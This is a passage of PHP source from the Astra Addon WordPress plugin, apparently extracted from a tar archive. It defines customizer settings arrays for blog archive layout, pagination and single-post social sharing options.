'setting' => ASTRA_THEME_SETTINGS . '[blog-grid]', 'operator' => '!=', 'value' => 1, ), ), ), /** * Option: First Post full width */ array( 'name' => ASTRA_THEME_SETTINGS . '[first-post-full-width]', 'default' => astra_get_option( 'first-post-full-width' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Highlight First Post', 'astra-addon' ), 'description' => __( 'This will not work if Masonry Layout is enabled.', 'astra-addon' ), 'priority' => 25, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-layout]', 'operator' => '===', 'value' => 'blog-layout-1', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-grid]', 'operator' => '!=', 'value' => 1, ), ), ), /** * Option: Disable Date Box */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-date-box]', 'default' => astra_get_option( 'blog-date-box' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Enable Date Box', 'astra-addon' ), 'priority' => 30, ), /** * Option: Date Box Style */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-date-box-style]', 'default' => astra_get_option( 'blog-date-box-style' ), 'type' => 'control', 'section' => 'section-blog', 'title' => __( 'Date Box Style', 'astra-addon' ), 'control' => Astra_Theme_Extension::$selector_control, 'priority' => 35, 'choices' => array( 'square' => __( 'Square', 'astra-addon' ), 'circle' => __( 'Circle', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-date-box]', 'operator' => '===', 'value' => true, ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Remove feature image padding */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-featured-image-padding]', 'default' => astra_get_option( 'blog-featured-image-padding' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Remove Featured Image Padding', 'astra-addon' ), 'description' => __( 'This option will not work on full width layouts.', 'astra-addon' ), 'priority' => 40, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-layout]', 'operator' => '===', 'value' => 'blog-layout-1', ), ), ), /** * Option: Excerpt Count */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-excerpt-count]', 'default' => astra_get_option( 'blog-excerpt-count' ), 'type' => 'control', 'control' => 'number', 'section' => 'section-blog', 'priority' => 80, 'title' => __( 'Excerpt Count', 'astra-addon' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 3000, ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-content]', 'operator' => '===', 'value' => 'excerpt', ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Read more text */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-read-more-text]', 'default' => astra_get_option( 'blog-read-more-text' ), 'type' => 'control', 'section' => 'section-blog', 'priority' => 85, 'title' => __( 'Read More Text', 'astra-addon' ), 'control' => 'text', 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-post-content]', 'operator' => '===', 'value' => 'excerpt', ), ), ), /** * Option: Display read more as button */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-read-more-as-button]', 'default' => astra_get_option( 'blog-read-more-as-button' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog', 'title' => __( 'Display Read More as Button', 'astra-addon' ), 'priority' => 90, 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), /** * Option: Post Pagination */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-pagination]', 'default' => astra_get_option( 'blog-pagination' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => 'section-blog', 'priority' => 110, 'title' => __( 'Post Pagination', 'astra-addon' ), 'choices' => array( 'number' => __( 'Number', 'astra-addon' ), 'infinite' => __( 'Infinite Scroll', 'astra-addon' ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider ast-top-section-divider' ), ), /** * Option: Event to Trigger Infinite Loading */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-infinite-scroll-event]', 'default' => astra_get_option( 'blog-infinite-scroll-event' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => 'section-blog', 'description' => __( 'Infinite Scroll cannot be previewed in the Customizer.', 'astra-addon' ), 'priority' => 112, 'title' => __( 'Event to Trigger Infinite Loading', 'astra-addon' ), 'choices' => array( 'scroll' => __( 'Scroll', 'astra-addon' ), 'click' => __( 'Click', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-pagination]', 'operator' => '===', 'value' => 'infinite', ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Post Pagination Style */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-pagination-style]', 'default' => astra_get_option( 'blog-pagination-style' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$selector_control, 'section' => 'section-blog', 'priority' => 115, 'title' => __( 'Post Pagination Style', 'astra-addon' ), 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'square' => __( 'Square', 'astra-addon' ), 'circle' => __( 'Circle', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-pagination]', 'operator' => '===', 'value' => 'number', ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Read more text */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-load-more-text]', 'default' => astra_get_option( 'blog-load-more-text' ), 'type' => 'control', 'section' => 'section-blog', 'priority' => 113, 'title' => __( 'Load More Text', 'astra-addon' ), 'control' => 'text', 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-pagination]', 'operator' => '===', 'value' => 'infinite', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-infinite-scroll-event]', 'operator' => '===', 'value' => 'click', ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Blog_Pro_Configs(); sections/class-astra-customizer-blog-pro-single-configs.php 0000666 00000126366 15165400142 0020167 0 ustar 00 <?php /** * Blog Pro Single General Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Blog_Pro_Single_Configs' ) ) { /** * Register General Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Blog_Pro_Single_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register General Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Single Post Meta */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-single-meta]', 'type' => 'control', 'control' => 'ast-sortable', 'default' => astra_get_option( 'blog-single-meta' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-single-post-structure]', 'operator' => 'contains', 'value' => 'single-title-meta', ), ), 'section' => 'section-blog-single', 'priority' => 5, 'title' => __( 'Meta', 'astra-addon' ), 'choices' => array( 'comments' => __( 'Comments', 'astra-addon' ), 'category' => __( 'Category', 'astra-addon' ), 'author' => __( 'Author', 'astra-addon' ), 'date' => __( 'Publish Date', 'astra-addon' ), 'tag' => __( 'Tag', 'astra-addon' ), 'read-time' => __( 'Read Time', 'astra-addon' ), ), ), /** * Option: Author info */ array( 'name' => ASTRA_THEME_SETTINGS . '[ast-author-info]', 'default' => astra_get_option( 'ast-author-info' ), 'type' => 'control', 'section' => 'section-blog-single', 'title' => __( 'Author Info', 'astra-addon' ), 'control' => Astra_Theme_Extension::$switch_control, 'priority' => 9, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), /** * Option: Disable Single Post Navigation */ array( 'name' => ASTRA_THEME_SETTINGS . '[ast-single-post-navigation]', 'default' => astra_get_option( 'ast-single-post-navigation' ), 'type' => 'control', 'section' => 'section-blog-single', 'title' => __( 'Disable Single Post Navigation', 'astra-addon' ), 'control' => Astra_Theme_Extension::$switch_control, 'priority' => 9, ), /** * Option: Autoposts */ array( 'name' => ASTRA_THEME_SETTINGS . '[ast-auto-prev-post]', 'default' => astra_get_option( 'ast-auto-prev-post' ), 'type' => 'control', 'section' => 'section-blog-single', 'title' => __( 'Auto Load Previous Posts', 'astra-addon' ), 'control' => Astra_Theme_Extension::$switch_control, 'description' => __( 'Auto load previous posts cannot be previewed in the customizer.', 'astra-addon' ), 'priority' => 9, ), /** * Option: Remove feature image padding */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-featured-image-padding]', 'default' => astra_get_option( 'single-featured-image-padding' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog-single', 'title' => __( 'Remove Featured Image Padding', 'astra-addon' ), 'description' => __( 'This option will not work on full width layouts.', 'astra-addon' ), 'priority' => 9, ), /** * Option: Social Sharing */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading]', 'section' => 'section-blog-single', 'title' => __( 'Social Sharing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 9, 'settings' => array(), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Enable social sharing. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'default' => astra_get_option( 'single-post-social-sharing-icon-enable' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog-single', 'title' => __( 'Enable Social Sharing', 'astra-addon' ), 'description' => __( 'Enable / Disable social sharing', 'astra-addon' ), 'priority' => 9, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Social sharing label position */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-alignment]', 'default' => astra_get_option( 'single-post-social-sharing-alignment' ), 'type' => 'control', 'priority' => 9, 'control' => 'ast-selector', 'section' => 'section-blog-single', 'title' => __( 'Alignment', 'astra-addon' ), 'choices' => array( 'left' => __( 'Left', 'astra-addon' ), 'center' => __( 'Center', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), ), 'renderAs' => 'text', 'responsive' => false, 'transport' => 'postMessage', 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Enable Social Sharing Heading. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-enable]', 'default' => astra_get_option( 'single-post-social-sharing-heading-enable' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog-single', 'title' => __( 'Enable Heading', 'astra-addon' ), 'priority' => 9, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider ast-top-dotted-divider' ), ), /** * Option: Social Sharing Heading text. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-text]', 'default' => astra_get_option( 'single-post-social-sharing-heading-text' ), 'type' => 'control', 'section' => 'section-blog-single', 'priority' => 9, 'title' => __( 'Heading text', 'astra-addon' ), 'control' => 'text', 'transport' => 'postMessage', 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social sharing label position. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-position]', 'default' => astra_get_option( 'single-post-social-sharing-heading-position' ), 'type' => 'control', 'priority' => 9, 'control' => 'ast-selector', 'section' => 'section-blog-single', 'title' => __( 'Heading Position', 'astra-addon' ), 'choices' => array( 'above' => __( 'Above', 'astra-addon' ), 'below' => __( 'Below', 'astra-addon' ), ), 'renderAs' => 'text', 'responsive' => false, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider ast-bottom-dotted-divider' ), ), /** * Option: Social Icons. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-list]', 'section' => 'section-blog-single', 'type' => 'control', 'control' => 'ast-social-icons', 'title' => __( 'Social Icons', 'astra-addon' ), 'priority' => 9, 'share_mode' => true, 'default' => astra_get_option( 'single-post-social-sharing-icon-list' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), ), /** * Option: Enable / Disable social sharing icon labels */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label]', 'default' => astra_get_option( 'single-post-social-sharing-icon-label' ), 'type' => 'control', 'control' => Astra_Theme_Extension::$switch_control, 'section' => 'section-blog-single', 'title' => __( 'Enable Label', 'astra-addon' ), 'priority' => 9, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social sharing label position */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-position]', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-position' ), 'type' => 'control', 'priority' => 9, 'control' => 'ast-selector', 'section' => 'section-blog-single', 'title' => __( 'Label Position', 'astra-addon' ), 'choices' => array( 'above' => __( 'Above', 'astra-addon' ), 'below' => __( 'Below', 'astra-addon' ), ), 'renderAs' => 'text', 'responsive' => false, 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), /** * Option: Social sharing position */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-position]', 'default' => astra_get_option( 'single-post-social-sharing-icon-position' ), 'type' => 'control', 'section' => 'section-blog-single', 'title' => __( 'Icon Position', 'astra-addon' ), 'control' => 'ast-select', 'priority' => 9, 'choices' => array( 'below-post-title' => __( 'Below Post Title', 'astra-addon' ), 'below-post' => __( 'Below Post', 'astra-addon' ), 'left-content' => __( 'Left Content', 'astra-addon' ), 'right-content' => __( 'Right Content', 'astra-addon' ), ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-divider]', 'section' => 'section-blog-single', 'title' => __( 'Social Sharing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 1, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social sharing icon type. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-type]', 'default' => astra_get_option( 'single-post-social-sharing-icon-color-type' ), 'section' => 'section-blog-single', 'type' => 'control', 'control' => 'ast-selector', 'title' => __( 'Color Type', 'astra-addon' ), 'priority' => 1, 'choices' => array( 'custom' => __( 'Custom', 'astra-addon' ), 'official' => __( 'Official', 'astra-addon' ), ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), ), /** * Group: Primary Social Colors Group */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-group]', 'default' => astra_get_option( 'single-post-social-sharing-icon-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Icon Color', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-type]', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'responsive' => true, ), array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-background-color-group]', 'default' => astra_get_option( 'single-post-social-sharing-icon-background-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Icon Background Color', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-type]', 'operator' => '==', 'value' => 'custom', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'responsive' => true, ), /** * Option: Social Text Color */ array( 'name' => 'single-post-social-sharing-icon-color', 'transport' => 'postMessage', 'default' => astra_get_option( 'single-post-social-sharing-icon-color' ), 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Normal', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Normal', 'astra-addon' ), ), /** * Option: Social Text Hover Color */ array( 'name' => 'single-post-social-sharing-icon-h-color', 'default' => astra_get_option( 'single-post-social-sharing-icon-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Hover', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Hover', 'astra-addon' ), ), /** * Option: Social Background Color */ array( 'name' => 'single-post-social-sharing-icon-background-color', 'default' => astra_get_option( 'single-post-social-sharing-icon-background-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-background-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Normal', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Normal', 'astra-addon' ), ), /** * Option: Social Background Hover Color */ array( 'name' => 'single-post-social-sharing-icon-background-h-color', 'default' => astra_get_option( 'single-post-social-sharing-icon-background-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-background-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Hover', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Hover', 'astra-addon' ), ), /** * Option: Social Label Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-color-group]', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Label Color', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label]', 'operator' => '==', 'value' => true, ), ), 'responsive' => true, ), /** * Option: Social Label Normal Color */ array( 'name' => 'single-post-social-sharing-icon-label-color', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Normal', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Normal', 'astra-addon' ), ), /** * Option: Social Label Hover Color */ array( 'name' => 'single-post-social-sharing-icon-label-h-color', 'default' => astra_get_option( 'single-post-social-sharing-icon-label-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-label-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Hover', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Hover', 'astra-addon' ), ), /** * Option: Social Heading Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-color-group]', 'default' => astra_get_option( 'single-post-social-sharing-heading-color-group' ), 'type' => 'control', 'control' => 'ast-color-group', 'title' => __( 'Heading Color', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-enable]', 'operator' => '==', 'value' => true, ), ), 'responsive' => true, ), /** * Option: Social Heading Normal Color */ array( 'name' => 'single-post-social-sharing-heading-color', 'default' => astra_get_option( 'single-post-social-sharing-heading-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Normal', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Normal', 'astra-addon' ), ), /** * Option: Social Heading Hover Color */ array( 'name' => 'single-post-social-sharing-heading-h-color', 'default' => astra_get_option( 'single-post-social-sharing-heading-h-color' ), 'transport' => 'postMessage', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-color-group]', 'section' => 'section-blog-single', 'tab' => __( 'Hover', 'astra-addon' ), 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Hover', 'astra-addon' ), ), /** * Background color. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-background-color]', 'default' => astra_get_option( 'single-post-social-sharing-background-color' ), 'transport' => 'postMessage', 'type' => 'control', 'section' => 'section-blog-single', 'control' => 'ast-responsive-color', 'responsive' => true, 'rgba' => true, 'priority' => 1, 'title' => __( 'Background color', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), /** * Option: Social Icon Size */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-size]', 'section' => 'section-blog-single', 'priority' => 1, 'transport' => 'postMessage', 'default' => astra_get_option( 'single-post-social-sharing-icon-size' ), 'title' => __( 'Icon Size', 'astra-addon' ), 'suffix' => 'px', 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social Icon Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-spacing]', 'section' => 'section-blog-single', 'priority' => 2, 'transport' => 'postMessage', 'default' => astra_get_option( 'single-post-social-sharing-icon-spacing' ), 'title' => __( 'Icon Spacing', 'astra-addon' ), 'suffix' => 'px', 'type' => 'control', 'control' => 'ast-responsive-slider', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'divider' => array( 'ast_class' => 'ast-bottom-dotted-divider' ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social Icon Background Spacing. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-background-spacing]', 'section' => 'section-blog-single', 'priority' => 2, 'transport' => 'postMessage', 'default' => astra_get_option( 'single-post-social-sharing-icon-background-spacing' ), 'title' => __( 'Icon Background Space', 'astra-addon' ), 'suffix' => 'px', 'type' => 'control', 'control' => 'ast-responsive-slider', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Social Icon Radius */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-radius]', 'section' => 'section-blog-single', 'priority' => 4, 'transport' => 'postMessage', 'default' => astra_get_option( 'single-post-social-sharing-icon-radius' ), 'title' => __( 'Icon Radius', 'astra-addon' ), 'suffix' => 'px', 'type' => 'control', 'control' => 'ast-responsive-slider', 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 50, ), 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-color-type]', 'operator' => '==', 'value' => 'custom', ), ), ), /** * Option: Social Heading typography section. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-heading-typo]', 'default' => astra_get_option( 'single-post-social-sharing-heading-typo' ), 'type' => 'control', 'control' => 'ast-settings-group', 'title' => __( 'Heading Font', 'astra-addon' ), 'section' => 'section-blog-single', 'transport' => 'postMessage', 'priority' => 4, 'context' => array( astra_addon_builder_helper()->design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-post-social-sharing-icon-enable]', 